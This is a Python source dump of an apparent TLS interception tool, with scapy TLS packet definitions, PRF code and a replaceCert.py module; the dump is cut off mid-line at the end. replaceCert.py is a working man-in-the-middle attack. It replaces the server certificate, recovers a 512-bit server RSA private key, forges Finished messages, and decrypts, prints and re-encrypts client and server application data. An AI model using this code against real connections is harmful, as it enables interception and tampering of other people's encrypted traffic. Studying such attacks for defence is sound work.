serverappdataprocess(csession, ssession, p): 39 | return p 40 | -------------------------------------------------------------------------------- /prf.py: -------------------------------------------------------------------------------- 1 | from hashlib import md5, sha1, sha256 2 | import hmac 3 | #PRF basic functions 4 | def pHash(result,secret,seed,hashfunc): 5 | a=hmac.new(secret,seed,hashfunc).digest() 6 | j=0 7 | while j len(result): 11 | todo=len(result)-j 12 | result[j:j+todo] = b[0:todo] 13 | j+=todo 14 | a=hmac.new(secret,a,hashfunc).digest() 15 | 16 | #TLS 1.0 and TLS 1.1 pseudo-random function 17 | def prf10(result,secret,label,seed): 18 | labelandseed = label+seed 19 | s1,s2 = secret[0:(len(secret)+1)/2],secret[len(secret)/2:] 20 | pHash(result,s1,labelandseed,md5) 21 | 22 | result2 = [0]*len(result) 23 | pHash(result2,s2,labelandseed,sha1) 24 | for i in range(len(result2)): 25 | s = ord(result[i]) ^ ord(result2[i]) 26 | result[i] = chr(s) 27 | 28 | #TLS 1.2 pseudo-random function 29 | def prf12(result,secret,label,seed): 30 | labelandseed = label+seed 31 | pHash(result,secret,labelandseed,sha256) 32 | 33 | #SSL 3.0 prf 34 | def prf30(result,secret,label,seed): 35 | done=0 36 | i =0 37 | while done < len(result): 38 | pad = '' 39 | for j in range(0,i+1): 40 | pad += chr(ord('A')+i) 41 | digest = sha1(pad[:i+1]+secret+seed).digest() 42 | 43 | t = md5(secret+digest).digest() 44 | todo = len(t) 45 | if len(result)-done < todo: 46 | todo = len(result)-done 47 | result[done:done+todo] = t[:todo] 48 | done += todo 49 | i+=1 50 | 51 | def prfForVersion(version,result,secret,label,seed): 52 | if version == '\x03\x00': 53 | return prf30(result,secret,label,seed) 54 | elif version == '\x03\x01' or version == '\x03\x02' or version == '\x01\00': 55 | return prf10(result,secret,label,seed) 56 | elif version == '\x03\x03': 57 | return prf12(result,secret,label,seed) 58 | else: 59 | raise Exception("Unknow version type!") 60 | 61 | -------------------------------------------------------------------------------- /replaceCert.py: -------------------------------------------------------------------------------- 1 | from header import * 2 | 3 | def clienthelloprocess(csession, ssession, p): 4 | print "Version:%s"%(TLS_VERSIONS[p[TLSHandshake].version]) 5 | print "ClientRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 6 | return p 7 | 8 | def serverhelloprocess(csession, ssession, p): 9 | print "ServerRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 10 | print "CipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite) 11 | print "CompressionMethod:%s"%p[TLSHandshake].compression_method 12 | return p 13 | 14 | def certificateprocess(csession, ssession, p): 15 | cert = crypto.load_certificate(crypto.FILETYPE_PEM, file('cert.pem').read()) 16 | print cert 17 | p.payload.payload.certificates[0] = file('cert.der').read() 18 | #del p.payload.payload.certificates[0] 19 | new_len = 0 20 | for i in range(len(p.payload.payload.certificates)): 21 | new_len += p.payload.payload.certificates[i].length + 3 22 | p.payload.payload.length = new_len 23 | p.payload.length = new_len + 3 24 | p.length = new_len + 7 25 | return p 26 | 27 | def clientkeyexgprocess(csession, ssession, p): 28 | return p 29 | 30 | def serverkeyexgprocess(csession, ssession, p): 31 | pubkey = str(p[Raw])[:64] 32 | csession.crypto.server.rsa.pubkey = pubkey 33 | ssession.crypto.server.rsa.pubkey = pubkey 34 | prikey = getD(pubkey) 35 | 36 | n = int(pubkey.encode('hex'), 16) 37 | e = long(65537) 38 | d = int(getD(pubkey).encode('hex'), 16) 39 | csession.crypto.server.rsa.privkey = prikey 40 | ssession.crypto.server.rsa.privkey = prikey 41 | key = RSA.construct((n, e, d)) 42 | csession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key) 43 | ssession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key) 44 | return p 45 | 46 | def clientfinishprocess(csession, ssession, p): 47 | if not verify_client_finished(csession, p): 48 | print "Client Finshed Verify Error!!" 49 | return forge_client_finished(ssession, p) 50 | 51 | def serverfinishprocess(csession, ssession, p): 52 | if not verify_server_finished(ssession, p): 53 | print "Server Finshed Verify Error!!" 54 | return forge_server_finished(csession, p) 55 | 56 | def clientchangecsprocess(csession, ssession, p): 57 | return p 58 | 59 | def serverchangecsprocess(csession, ssession, p): 60 | return p 61 | 62 | def clientappdataprocess(csession, ssession, p): 63 | dec = csession.crypto.client.dec.decrypt(str(p)[5:]) 64 | dec = csession.check_strip_mac(dec) 65 | print 'CLIENT=>SERVER\n', dec 66 | pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec 67 | mac = ssession.clientcalmac(pdata) 68 | enc = ssession.crypto.client.enc.encrypt(dec+mac) 69 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 70 | 71 | def serverappdataprocess(csession, ssession, p): 72 | dec = ssession.crypto.server.dec.decrypt(str(p)[5:]) 73 | dec = ssession.check_strip_mac(dec) 74 | print 'SERVER=>CLIENT:\n', dec 75 | pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec 76 | mac = csession.servercalmac(pdata) 77 | enc = csession.crypto.server.enc.encrypt(dec+mac) 78 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 79 | 80 | 81 | 82 | def verify_client_finished(csession, p): 83 | decfinish = csession.crypto.client.dec.decrypt(str(p)[5:]) 84 | decmac = decfinish[16:] 85 | decfinish = decfinish[:16] 86 | mac = csession.clientcalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish) 87 | if mac != decmac: 88 | raise ValueError('Finish Mac Error') 89 | caledfinish = csession.calFinish('client finished') 90 | csession.cumulatedmsg += caledfinish 91 | return decfinish == caledfinish 92 | 93 | def verify_server_finished(ssession, p): 94 | decfinish = ssession.crypto.server.dec.decrypt(str(p)[5:]) 95 | decmac = decfinish[16:] 96 | decfinish = decfinish[:16] 97 | mac = ssession.servercalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish) 98 | if mac != decmac: 99 | raise ValueError('Finish Mac Error') 100 | caledfinish = ssession.calFinish('server finished') 101 | ssession.cumulatedmsg += caledfinish 102 | return decfinish == caledfinish 103 | 104 | 105 | 106 | def forge_client_finished(ssession, p): 107 | forged_finish = ssession.calFinish('client finished') 108 | ssession.cumulatedmsg += forged_finish 109 | forged_mac = ssession.clientcalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish) 110 | enc = ssession.crypto.client.enc.encrypt(forged_finish + forged_mac) 111 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 112 | 113 | def forge_server_finished(csession, p): 114 | forged_finish = csession.calFinish('server finished') 115 | csession.cumulatedmsg += forged_finish 116 | forged_mac = csession.servercalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish) 117 | enc = csession.crypto.server.enc.encrypt(forged_finish + forged_mac) 118 | return str(p)[:3]+struct.pack('>H',len(enc))+enc 119 | -------------------------------------------------------------------------------- /ssl_tls.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | # Author : tintinweb@oststrom.com 4 | # http://www.secdev.org/projects/scapy/doc/build_dissect.html 5 | from scapy.packet import Packet, bind_layers 6 | from scapy.fields import * 7 | from scapy.layers.inet import TCP, UDP 8 | import os, time 9 | 10 | class BLenField(LenField): 11 | def __init__(self, name, default, fmt="I", adjust_i2m=lambda pkt, x:x, numbytes=None, length_of=None, count_of=None, adjust_m2i=lambda pkt, x:x): 12 | self.name = name 13 | self.adjust_i2m = adjust_i2m 14 | self.adjust_m2i = adjust_m2i 15 | self.numbytes = numbytes 16 | self.length_of = length_of 17 | self.count_of = count_of 18 | LenField.__init__(self, name, default, fmt) 19 | 20 | if fmt[0] in "@=<>!": 21 | self.fmt = fmt 22 | else: 23 | self.fmt = "!" + fmt 24 | self.default = self.any2i(None, default) 25 | self.sz = struct.calcsize(self.fmt) if not numbytes else numbytes 26 | self.owners = [] 27 | 28 | def addfield(self, pkt, s, val): 29 | """Add an internal value to a string""" 30 | pack = struct.pack(self.fmt, self.i2m(pkt, val)) 31 | if self.numbytes: 32 | pack = pack[len(pack) - self.numbytes:] 33 | return s + pack 34 | def getfield(self, pkt, s): 35 | """Extract an internal value from a string""" 36 | upack_data = s[:self.sz] 37 | # prepend struct.calcsize()-len(data) bytes to satisfy struct.unpack 38 | upack_data = '\x00' * (struct.calcsize(self.fmt) - self.sz) + upack_data 39 | 40 | return s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, upack_data)[0]) 41 | 42 | def i2m(self, pkt, x): 43 | if x is None: 44 | if not (self.length_of or self.count_of): 45 | x = len(pkt.payload) 46 | x = self.adjust_i2m(pkt, x) 47 | return x 48 | 49 | if self.length_of is not None: 50 | fld, fval = pkt.getfield_and_val(self.length_of) 51 | f = fld.i2len(pkt, fval) 52 | else: 53 | fld, fval = pkt.getfield_and_val(self.count_of) 54 | f = fld.i2count(pkt, fval) 55 | x = self.adjust_i2m(pkt, f) 56 | return x 57 | def m2i(self, pkt, x): 58 | return self.adjust_m2i(pkt, x) 59 | 60 | class XBLenField(BLenField): 61 | def i2repr(self, pkt, x): 62 | return lhex(self.i2h(pkt, x)) 63 | 64 | class XLenField(LenField): 65 | def i2repr(self, pkt, x): 66 | return lhex(self.i2h(pkt, x)) 67 | 68 | class XFieldLenField(FieldLenField): 69 | def i2repr(self, pkt, x): 70 | return lhex(self.i2h(pkt, x)) 71 | 72 | class BEnumField(EnumField): 73 | def __init__(self, name, default, enum, fmt="!I", numbytes=None): 74 | EnumField.__init__(self, name, default, enum, fmt) 75 | self.numbytes = numbytes 76 | 77 | self.name = name 78 | if fmt[0] in "@=<>!": 79 | self.fmt = fmt 80 | else: 81 | self.fmt = "!" + fmt 82 | self.default = self.any2i(None, default) 83 | self.sz = struct.calcsize(self.fmt) if not numbytes else numbytes 84 | self.owners = [] 85 | 86 | def addfield(self, pkt, s, val): 87 | """Add an internal value to a string""" 88 | pack = struct.pack(self.fmt, self.i2m(pkt, val)) 89 | if self.numbytes: 90 | pack = pack[len(pack) - self.numbytes:] 91 | return s + pack 92 | def getfield(self, pkt, s): 93 | """Extract an internal value from a string""" 94 | upack_data = s[:self.sz] 95 | # prepend struct.calcsize()-len(data) bytes to satisfy struct.unpack 96 | upack_data = '\x00' * (struct.calcsize(self.fmt) - self.sz) + upack_data 97 | 98 | return s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, upack_data)[0]) 99 | 100 | def i2repr_one(self, pkt, x): 101 | if self not in conf.noenum and not isinstance(x, VolatileValue) and x in self.i2s: 102 | return self.i2s[x] 103 | return lhex(x) 104 | 105 | class XBEnumField(BEnumField): 106 | def i2repr(self, pkt, x): 107 | return lhex(self.i2h(pkt, x)) 108 | 109 | 110 | TLS_VERSIONS = { "\x00\x02":"SSL_2_0", 111 | "\x03\x00":"SSL_3_0", 112 | "\x03\x01":"TLS_1_0", 113 | "\x03\x02":"TLS_1_1", 114 | "\x03\x03":"TLS_1_2", 115 | 116 | "\x01\x00":"PROTOCOL_DTLS_1_0_OPENSSL_PRE_0_9_8f", 117 | "\xfe\xff":"DTLS_1_0", 118 | "\xfe\xfd":"DTLS_1_1", 119 | } 120 | 121 | TLS_CONTENT_TYPES = {0x14:"change_cipher_spec", 122 | 0x15:"alert", 123 | 0x16:"handshake", 124 | 0x17:"application_data", 125 | 0x18:"heartbeat", 126 | 0xff:"unknown"} 127 | 128 | TLS_HANDSHAKE_TYPES = {0x00:"hello_request", 129 | 0x01:"client_hello", 130 | 0x02:"server_hello", 131 | 0x0b:"certificate", 132 | 0x0c:"server_key_exchange", 133 | 0x0d:"certificate_request", 134 | 0x0e:"server_hello_done", 135 | 0x0f:"certificate_verify", 136 | 0x10:"client_key_exchange", 137 | 0x20:"finished", 138 | 0x21:"certificate_url", 139 | 0x22:"certificate_stats", 140 | 0xff:"unknown"} 141 | 142 | TLS_EXTENSION_TYPES = { 143 | 0x0000:"server_name", 144 | 0x0001:"max_fragment_length", 145 | 0x0002:"client_certificate_url", 146 | 0x0003:"trusted_ca_keys", 147 | 0x0004:"truncated_hmac", 148 | 0x0005:"status_request", 149 | 0x000a:"elliptic_curves", 150 | 0x000b:"ec_point_formats", 151 | 0x000d:"signature_algorithms", 152 | 0x000f:"heartbeat", 153 | 0x0010:"application_layer_protocol_negotiation", 154 | 0x0023:"session_ticket_tls", 155 | 0x3374:"next_protocol_negotiation", 156 | 0xff01:"renegotiationg_info", 157 | } 158 | 159 | TLS_ALERT_LEVELS = { 0x01: "warning", 160 | 0x02: "fatal", 161 | 0xff: "unknown", } 162 | 163 | TLS_ALERT_DESCRIPTIONS = { 164 | 0:"CLOSE_NOTIFY", 165 | 10:"UNEXPECTE_MESSAGE", 166 | 20:"BAD_RECORD_MAC", 167 | 21:"DESCRIPTION_FAILED_RESERVED", 168 | 22:"RECORD_OVERFLOW", 169 | 30:"DECOMPRESSION_FAILURE", 170 | 40:"HANDSHAKE_FAILURE", 171 | 41:"NO_CERTIFICATE_RESERVED", 172 | 43:"BAD_CERTIFICATE", 173 | 43:"UNSUPPORTED_CERTIFICATE", 174 | 44:"CERTIFICATE_REVOKED", 175 | 45:"CERTIFICATE_EXPIRED", 176 | 46:"CERTIFICATE_UNKNOWN", 177 | 47:"ILLEGAL_PARAMETER", 178 | 48:"UNKNOWN_CA", 179 | 49:"ACCESS_DENIED", 180 | 50:"DECODE_ERROR", 181 | 51:"DECRYPT_ERROR", 182 | 60:"EXPORT_RESTRICTION_RESERVED", 183 | 70:"PROTOCOL_VERSION", 184 | 71:"INSUFFICIENT_SECURITY", 185 | 86:"INAPPROPRIATE_FALLBACK", 186 | 80:"INTERNAL_ERROR", 187 | 90:"USER_CANCELED", 188 | 100:"NO_RENEGOTIATION", 189 | 110:"UNSUPPORTED_EXTENSION", 190 | 111:"CERTIFICATE_UNOBTAINABLE", 191 | 112:"UNRECOGNIZED_NAME", 192 | 113:"BAD_CERTIFICATE_STATUS_RESPNSE", 193 | 114:"BAD_CERTIFICATE_HASH_VALUE", 194 | 255:"UNKNOWN_255", } 195 | 196 | TLS_EXT_MAX_FRAGMENT_LENGTH_ENUM = { 197 | 0x01: 2 ** 9, 198 | 0x02: 2 ** 10, 199 | 0x03: 2 ** 11, 200 | 0x04: 2 ** 12, 201 | 0xff: 'unknown', 202 | } 203 | 204 | 205 | class TLSCipherSuite: 206 | ''' 207 | make ciphersuites available as class props (autocompletion) 208 | ''' 209 | NULL_WITH_NULL_NULL = 0x0000 210 | RSA_WITH_NULL_MD5 = 0x0001 211 | RSA_WITH_NULL_SHA1 = 0x0002 212 | RSA_WITH_NULL_SHA256 = 0x003b 213 | RSA_WITH_3DES_EDE_CBC_SHA = 0x000a 214 | DHE_RSA_WITH_3DES_EDE_CBC_SHA = 0x0016 215 | DHE_DSS_WITH_3DES_EDE_CBC_SHA = 0x0013 216 | RSA_WITH_3DES_EDE_CBC_SHA = 0x000a 217 | DHE_RSA_WITH_AES_128_CBC_SHA = 0x0033 218 | DHE_DSS_WITH_AES_128_CBC_SHA = 0x0032 219 | RSA_WITH_AES_128_CBC_SHA = 0x002f 220 | RSA_WITH_IDEA_CBC_SHA = 0x0007 221 | DHE_DSS_WITH_RC4_128_SHA = 0x0066 222 | RSA_WITH_RC4_128_SHA = 0x0005 223 | RSA_WITH_RC4_128_MD5 = 0x0004 224 | DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA = 0x0063 225 | RSA_EXPORT1024_WITH_DES_CBC_SHA = 0x0062 226 | RSA_EXPORT1024_WITH_RC2_CBC_56_MD5 = 0x0061 227 | DHE_RSA_WITH_DES_CBC_SHA = 0x0015 228 | DHE_DSS_WITH_DES_CBC_SHA = 0x0012 229 | RSA_WITH_DES_CBC_SHA = 0x0009 230 | DHE_DSS_EXPORT1024_WITH_RC4_56_SHA = 0x0065 231 | RSA_EXPORT1024_WITH_RC4_56_SHA = 0x0064 232 | RSA_EXPORT1024_WITH_RC4_56_MD5 = 0x0060 233 | DHE_RSA_EXPORT_WITH_DES40_CBC_SHA = 0x0014 234 | DHE_DSS_EXPORT_WITH_DES40_CBC_SHA = 0x0011 235 | RSA_EXPORT_WITH_DES40_CBC_SHA = 0x0008 236 | RSA_EXPORT_WITH_RC2_CBC_40_MD5 = 0x0006 237 | RSA_EXPORT_WITH_RC4_40_MD5 = 0x0003 238 | RSA_WITH_AES_256_CBC_SHA = 0x0035 239 | DHE_DSS_WITH_AES_256_CBC_SHA = 0x0038 240 | DHE_RSA_WITH_AES_256_CBC_SHA = 0x0039 241 | ECDHE_ECDSA_WITH_AES_256_CBC_SHA = 0xc00a 242 | ECDH_RSA_WITH_AES_256_CBC_SHA = 0xc00f 243 | ECDHE_RSA_WITH_AES_256_CBC_SHA = 0xc014 244 | SRP_SHA_RSA_WITH_AES_256_CBC_SHA = 0xc021 245 | SRP_SHA_DSS_WITH_AES_256_CBC_SHA = 0xc022 246 | DHE_DSS_WITH_CAMELLIA_256_CBC_SHA = 0x0087 247 | DHE_RSA_WITH_CAMELLIA_256_CBC_SHA = 0x0088 248 | ECDH_ECDSA_WITH_AES_256_CBC_SHA = 0xc005 249 | RSA_WITH_CAMELLIA_256_CBC_SHA = 0x0084 250 | TLS_FALLBACK_SCSV = 0x5600 251 | 252 | 253 | TLS_CIPHER_SUITES = dict((v, k) for k, v in TLSCipherSuite.__dict__.items() if not k.startswith("__")) 254 | 255 | class TLSCompressionMethod: 256 | ''' 257 | make compression methods available as class props (autocompletion) 258 | ''' 259 | NULL = 0x00 260 | DEFLATE = 0x01 261 | 262 | TLS_COMPRESSION_METHODS = dict((v, k) for k, v in TLSCompressionMethod.__dict__.items() if not k.startswith("__")) 263 | 264 | class TLSRecord(Packet): 265 | name = "TLS Record" 266 | fields_desc = [ByteEnumField("content_type", 0xff, TLS_CONTENT_TYPES), 267 | #XShortEnumField("version", 0x0301, TLS_VERSIONS), 268 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 269 | XLenField("length", None, fmt="!H"), ] 270 | 271 | class TLSCiphertext(Packet): 272 | name = "TLS Ciphertext Fragment" 273 | fields_desc = [ByteEnumField("content_type", 0xff, TLS_CONTENT_TYPES), 274 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 275 | XLenField("length", None, fmt="!H"), ] 276 | 277 | class TLSCiphertextDecrypted(Packet): 278 | name = "TLS Ciphertext Decrypted" 279 | fields_desc = [ StrField("data", None, fmt="H")] 280 | class TLSCiphertextMAC(Packet): 281 | name = "TLS Ciphertext MAC" 282 | fields_desc = [ StrField("mac", None, fmt="H")] 283 | 284 | class TLSCompressed(Packet): 285 | name = "TLS Compressed Fragment" 286 | fields_desc = [ByteEnumField("content_type", 0xff, TLS_CONTENT_TYPES), 287 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 288 | XLenField("length", None, fmt="!H"), ] 289 | 290 | class TLSPlaintext(Packet): 291 | name = "TLS Plaintext" 292 | fields_desc = [ByteEnumField("content_type", 0xff, TLS_CONTENT_TYPES), 293 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 294 | XLenField("length", None, fmt="!H"), ] 295 | 296 | 297 | class TLSHandshake(Packet): 298 | name = "TLS Handshake" 299 | fields_desc = [ByteEnumField("type", 0xff, TLS_HANDSHAKE_TYPES), 300 | XBLenField("length", None, fmt="!I", numbytes=3), ] 301 | 302 | 303 | class TLSServerName(Packet): 304 | name = "TLS Servername" 305 | fields_desc = [ByteEnumField("type", 0x00, {0x00:"host"}), 306 | XFieldLenField("length", None, length_of="data", fmt="H"), 307 | StrLenField("data", "", length_from=lambda x:x.length), 308 | ] 309 | 310 | class TLSServerNameIndication(Packet): 311 | name = "TLS Extension Servername Indication" 312 | fields_desc = [XFieldLenField("length", None, length_of="server_names", fmt="H"), 313 | PacketListField("server_names", None, TLSServerName, length_from=lambda x:x.length), 314 | ] 315 | def extract_padding(self, s): 316 | return s[:self.length], s[self.length:] 317 | 318 | #https://tools.ietf.org/html/rfc7301 319 | class TLSALPNProtocol(Packet): 320 | name = "TLS ALPN Protocol" 321 | fields_desc = [ 322 | XFieldLenField("length", None, length_of="data", fmt="B"), 323 | StrLenField("data", "", length_from=lambda x:x.length), 324 | ] 325 | 326 | class TLSALPN(Packet): 327 | name = "TLS Application-Layer Protocol Negotiation" 328 | fields_desc = [XFieldLenField("length", None, length_of="protocol_name_list", fmt="H"), 329 | PacketListField("protocol_name_list", None, TLSALPNProtocol, length_from=lambda x:x.length), 330 | ] 331 | 332 | class TLSExtension(Packet): 333 | name = "TLS Extension" 334 | fields_desc = [XShortEnumField("type", 0x0000, TLS_EXTENSION_TYPES), 335 | XLenField("length", None, fmt="!H"), 336 | ] 337 | 338 | def extract_padding(self, s): 339 | return s[:self.length], s[self.length:] 340 | 341 | # https://www.ietf.org/rfc/rfc3546.txt 342 | class TLSExtMaxFragmentLength(Packet): 343 | name = "TLS Extension Max Fragment Length" 344 | fields_desc = [ByteEnumField("max_fragment_length", 0xff, TLS_EXT_MAX_FRAGMENT_LENGTH_ENUM)] 345 | 346 | def extract_padding(self, s): 347 | return '', s 348 | 349 | CERT_CHAIN_TYPE = { 0x00: 'individual_certs', 350 | 0x01: 'pkipath', 351 | 0xff: 'unknown'} 352 | TLS_TYPE_BOOLEAN = {0x00: 'false', 353 | 0x01: 'true'} 354 | 355 | class TLSURLAndOptionalHash(Packet): 356 | name = "TLS Extension Certificate URL/Hash" 357 | fields_desc = [XFieldLenField("url_length", None, length_of="url", fmt="H"), 358 | StrLenField("url", "", length_from=lambda x:x.url_length), 359 | ByteEnumField("hash_present", 0x00, TLS_TYPE_BOOLEAN), 360 | StrLenField("sha1hash", "", length_from=lambda x:20 if x.hash_present else 0), # opaque SHA1Hash[20]; 361 | ] 362 | 363 | class TLSExtCertificateURL(Packet): 364 | name = "TLS Extension Certificate URL" 365 | fields_desc = [ByteEnumField("type", 0xff, CERT_CHAIN_TYPE), 366 | XFieldLenField("length", None, length_of="certificate_urls", fmt="H"), 367 | PacketListField("certificate_urls", None, TLSURLAndOptionalHash, length_from=lambda x:x.length) 368 | ] 369 | def extract_padding(self, s): 370 | return '', s 371 | 372 | TLS_EXT_EC_POINT_FORMATS = {0x00:'uncompressed', 373 | 0x01:'ansiX962_compressed_prime', 374 | 0x02:'ansiX962_compressed_char2'} 375 | class TLSExtECPointsFormat(Packet): 376 | name = "TLS Extension EC Points Format" 377 | fields_desc = [ 378 | XFieldLenField("length", None, length_of="ec_point_formats", fmt="B"), 379 | FieldListField("ec_point_formats", None, ByteEnumField("ec_point_format", None, TLS_EXT_EC_POINT_FORMATS), length_from=lambda x:x.length), 380 | ] 381 | def extract_padding(self, s): 382 | return '', s 383 | TLS_EXT_ELLIPTIC_CURVES = {0x000e:'sect571r1', 384 | } 385 | class TLSExtEllipticCurves(Packet): 386 | name = "TLS Extension Elliptic Curves" 387 | fields_desc = [ 388 | XFieldLenField("length", None, length_of="elliptic_curves", fmt="H"), 389 | FieldListField("elliptic_curves", None, ShortEnumField("elliptic_curve", None, TLS_EXT_ELLIPTIC_CURVES), length_from=lambda x:x.length), 390 | ] 391 | def extract_padding(self, s): 392 | return '', s 393 | 394 | class TLSRenegotiationInfo(Packet): 395 | name = "TLS Extension Renegotiation Info" 396 | fields_desc = [ 397 | XFieldLenField("length", None, length_of="renegotiationg info extension", fmt="B"), 398 | StrLenField("renegotiationg info extension", None, length_from=lambda x:x.length) 399 | ] 400 | 401 | class TLSExtHeartbeat(Packet): 402 | name = "TLS Extension HeartBeat" 403 | fields_desc = [StrFixedLenField("mode", 0x01, 0x01) 404 | ] 405 | def extract_padding(self, s): 406 | return '', s 407 | 408 | class TLSClientHello(Packet): 409 | name = "TLS Client Hello" 410 | fields_desc = [ 411 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 412 | IntField("gmt_unix_time", int(time.time())), 413 | StrFixedLenField("random_bytes", os.urandom(28), 28), 414 | XFieldLenField("session_id_length", None, length_of="session_id", fmt="B"), 415 | StrLenField("session_id", '', length_from=lambda x:x.session_id_length), 416 | 417 | XFieldLenField("cipher_suites_length", None, length_of="cipher_suites", fmt="H"), 418 | FieldListField("cipher_suites", None, XShortEnumField("cipher", None, TLS_CIPHER_SUITES), length_from=lambda x:x.cipher_suites_length), 419 | 420 | XFieldLenField("compression_methods_length", None, length_of="compression_methods", fmt="B"), 421 | FieldListField("compression_methods", None, ByteEnumField("compression", None, TLS_COMPRESSION_METHODS), length_from=lambda x:x.compression_methods_length), 422 | 423 | ConditionalField(XFieldLenField("extensions_length", None, length_of="extensions", fmt="H"), lambda pkt:pkt.extensions_length is not None), 424 | PacketListField("extensions", None, TLSExtension, length_from=lambda x:x.extensions_length), 425 | ] 426 | 427 | 428 | class TLSServerHello(Packet): 429 | name = "TLS Server Hello" 430 | fields_desc = [ 431 | StrFixedLenEnumField("version", None, 2, TLS_VERSIONS), 432 | IntField("gmt_unix_time", int(time.time())), 433 | StrFixedLenField("random_bytes", os.urandom(28), 28), 434 | XFieldLenField("session_id_length", None, length_of="session_id", fmt="B"), 435 | StrLenField("session_id", '', length_from=lambda x:x.session_id_length), 436 | 437 | XShortEnumField("cipher_suite", 0x0000, TLS_CIPHER_SUITES), 438 | ByteEnumField("compression_method", 0x00, TLS_COMPRESSION_METHODS), 439 | 440 | ConditionalField(XFieldLenField("extensions_length", None, length_of="extensions", fmt="H"), lambda pkt:pkt.extensions_length is not None), 441 | PacketListField("extensions", None, TLSExtension, length_from=lambda x:x.extensions_length), 442 | ] 443 | 444 | 445 | class TLSAlert(Packet): 446 | name = "TLS Alert" 447 | fields_desc = [ByteEnumField("level", 0xff, TLS_ALERT_LEVELS), 448 | ByteEnumField("description", 0xff, TLS_ALERT_DESCRIPTIONS), 449 | ] 450 | 451 | 452 | class TLSHeartBeat(Packet): 453 | name = "TLS Extension HeartBeat" 454 | fields_desc = [ByteEnumField("type", 0x01, {0x01:"request"}), 455 | FieldLenField("length", None, length_of="data", fmt="H"), 456 | StrLenField("data", "", length_from=lambda x:x.length), 457 | StrLenField("padding", "", length_from=lambda x: 'P' * (16 - x.length)), 458 | ] 459 | 460 | class TLSClientKeyExchange(Packet): 461 | name = "TLS Client Key Exchange" 462 | fields_desc = [ XBLenField("length", None, fmt="!H",) ] 463 | 464 | class TLSServerKeyExchange(Packet): 465 | name = "TLS Server Key Exchange" 466 | fields_desc = [ XBLenField("length", None, fmt="!H") ] 467 | 468 | class TLSKexParamEncryptedPremasterSecret(Packet): 469 | name = "TLS Kex encrypted PreMasterSecret" 470 | fields_desc = [ # FieldLenField("length",None,length_of="data",fmt="H"), 471 | StrLenField("data", None) ] 472 | 473 | class TLSKexParamDH(Packet): 474 | name = "TLS Kex DH Params" 475 | fields_desc = [ # FieldLenField("length",None,length_of="data",fmt="H"), 476 | StrLenField("data", None) ] 477 | 478 | class TLSFinished(Packet): 479 | name = "TLS Handshake Finished" 480 | fields_desc = [ # FieldLenField("length",None,length_of="data",fmt="H"), 481 | StrLenField("data", None) ] 482 | 483 | def xbuild(self, master_secret, finished_label, hash_handshake_messages): 484 | ''' 485 | master_secret 486 | finished_label = ['client finished','server finished'] 487 | hash_handshake_messages 488 | ''' 489 | #self.data = ssl_tls_crypto.prf(master_secret, finished_label, hash_handshake_messages) 490 | pass 491 | 492 | class TLSDHServerParams(Packet): 493 | name = "TLS Diffie-Hellman Server Params" 494 | fields_desc = [XFieldLenField("p_length", None, length_of="p", fmt="!H"), 495 | StrLenField("p", '', length_from=lambda x:x.p_length), 496 | XFieldLenField("g_length", None, length_of="g", fmt="!H"), 497 | StrLenField("g", '', length_from=lambda x:x.g_length), 498 | XFieldLenField("pubkey_length", None, length_of="pubkey", fmt="!H"), 499 | StrLenField("pubkey", '', length_from=lambda x:x.pubkey_length), 500 | XFieldLenField("signature_length", None, length_of="signature", fmt="!H"), 501 | StrLenField("signature", '', length_from=lambda x:x.signature_length), ] 502 | 503 | class TLSServerHelloDone(Packet): 504 | name = "TLS Server Hello Done" 505 | fields_desc = [ XBLenField("length", None, fmt="!I", numbytes=3), 506 | StrLenField("data", "", length_from=lambda x:x.length), ] 507 | class TLSCertificate(Packet): 508 | name = "TLS Certificate" 509 | fields_desc = [ XBLenField("length", None, length_of="data", fmt="!I", numbytes=3), 510 | StrLenField("data", "", length_from=lambda x:x.length), ] # BERcodec_Object.dec(data,context=ASN1_Class_X509) 511 | 512 | def extract_padding(self,s): 513 | return '', s 514 | 515 | class TLSCertificateList(Packet): 516 | name = "TLS Certificate List" 517 | fields_desc = [ 518 | XBLenField("length", None, length_of="certificates", fmt="!I", numbytes=3), 519 | PacketListField("certificates", None, TLSCertificate, length_from=lambda x:x.length) 520 | ] 521 | 522 | def extract_padding(self,s): 523 | return s[self.length:],s[:self.length] 524 | 525 | class TLSChangeCipherSpec(Packet): 526 | name = "TLS ChangeCipherSpec" 527 | fields_desc = [ StrField("message", '\x01', fmt="H")] 528 | 529 | 530 | 531 | class xTLSCiphertext(Packet): 532 | name = "TLS Ciphertext" 533 | fields_desc = [ StrField("data", None, fmt="H"), 534 | StrField("mac", None, fmt="H")] 535 | 536 | 537 | def encrypt(self, record): 538 | # t = record[TLSRecord] 539 | 540 | # compute MAC 541 | # encrypt DATA+MAC 542 | self.data = str(record) 543 | return self 544 | 545 | def decrypt(self): 546 | return TLSRecord() 547 | 548 | class xTLSPlaintext(Packet): 549 | name = "TLS Plaintext" 550 | fields_desc = [ StrField("data", None, fmt="H") ] 551 | 552 | ptr_methods = {'default': {'encode': lambda x:x, # NULL 553 | 'decode': lambda x:x}, 554 | TLSCompressionMethod.DEFLATE: {'encode': lambda x:x.encode('zlib'), 555 | 'decode': lambda x:x.decode('zlib')}, 556 | } 557 | 558 | def compress(self, method, data=None): 559 | self.method = method 560 | data = data or self.data 561 | return TLSCompressed(self.ptr_methods.get(self.method, 